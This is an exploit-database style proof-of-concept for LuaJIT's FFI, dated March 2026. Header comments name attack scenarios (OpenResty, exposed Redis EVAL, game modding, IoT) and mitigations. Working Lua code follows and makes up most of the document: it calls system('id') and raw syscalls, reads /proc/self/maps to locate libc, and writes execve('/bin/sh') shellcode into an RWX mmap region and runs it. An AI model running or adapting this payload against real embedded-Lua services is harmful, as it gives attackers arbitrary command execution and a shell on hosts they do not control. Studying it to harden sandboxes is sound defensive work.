LuaJIT 2.1.1774638290 – Arbitrary Code Execution
-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution -- Date: 2026-03-29 -- Exploit Author: TaurusOmar -- Vendor Homepage: https://luajit.org/ -- Software Link: https://luajit.org/download.html -- Version: LuaJIT 2.1.1774638290 (latest) -- Tested on: Linux x86-64 (Arch Linux) -- Description: -- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access -- to native C functions including syscall(), mmap(), mprotect() and -- arbitrary shared library loading. When FFI is accessible to untrusted -- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT), -- an attacker can achieve arbitrary code execution with full process -- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast(). -- -- This affects any application embedding LuaJIT 2.1.x without explicitly -- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox -- environment before executing untrusted scripts. -- -- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version. -- -- Attack scenarios: -- - OpenResty/Nginx with user-controlled Lua scripts -- - Redis with exposed EVAL interface -- - Game engines with Lua modding systems -- - IoT devices with Lua scripting interface -- -- Mitigation: -- - Compile with -DLUAJIT_DISABLE_FFI -- - Remove 'ffi' from sandbox environment table -- - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces local ffi = require("ffi") local bit = require("bit") ffi.cdef[[ int getpid(void); long syscall(long number, ...); int system(const char *command); void *mmap(void *addr, size_t length, int prot, int flags, int fd, long offset); int munmap(void *addr, size_t length); ]] print("=" .. string.rep("=", 55)) print(" LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC") print("=" .. string.rep("=", 55)) -- dlsym resolves libc symbols without restriction local pid_libc = ffi.C.getpid() print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc) -- Direct kernel syscall channel (SYS_getpid = 39 x86-64) local pid_sc = tonumber(ffi.C.syscall(39)) print("[2] syscall(39) direct: " .. pid_sc) if pid_libc == pid_sc then print("[+] Both channels confirmed active\n") end -- ASLR bypass via /proc/self/maps local f = io.open("/proc/self/maps", "r") for line in f:lines() do if line:find("libc.so") and line:find("r--p") then local base = tonumber("0x" .. line:match("^(%x+)")) print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base)) break end end f:close() -- Arbitrary command execution print("[4] ffi.C.system('id'):") ffi.C.system("id") -- Shellcode execution via mmap(RWX) print("\n[5] Shellcode execution via mmap(RWX):") local PROT_RWX = bit.bor(1, 2, 4) local MAP_FLAGS = bit.bor(0x02, 0x20) -- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59 local shellcode = "\x48\x31\xd2" .. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" .. "\x53" .. "\x48\x89\xe7" .. "\x48\x31\xf6" .. "\x48\x31\xc0" .. "\xb0\x3b" .. "\x0f\x05" local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0) if ffi.cast("long", mem) ~= -1 then print(" RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem))) ffi.copy(mem, shellcode, #shellcode) print(" Shellcode written. Executing execve('/bin/sh')...") local fn = ffi.cast("void(*)(void)", mem) fn() end |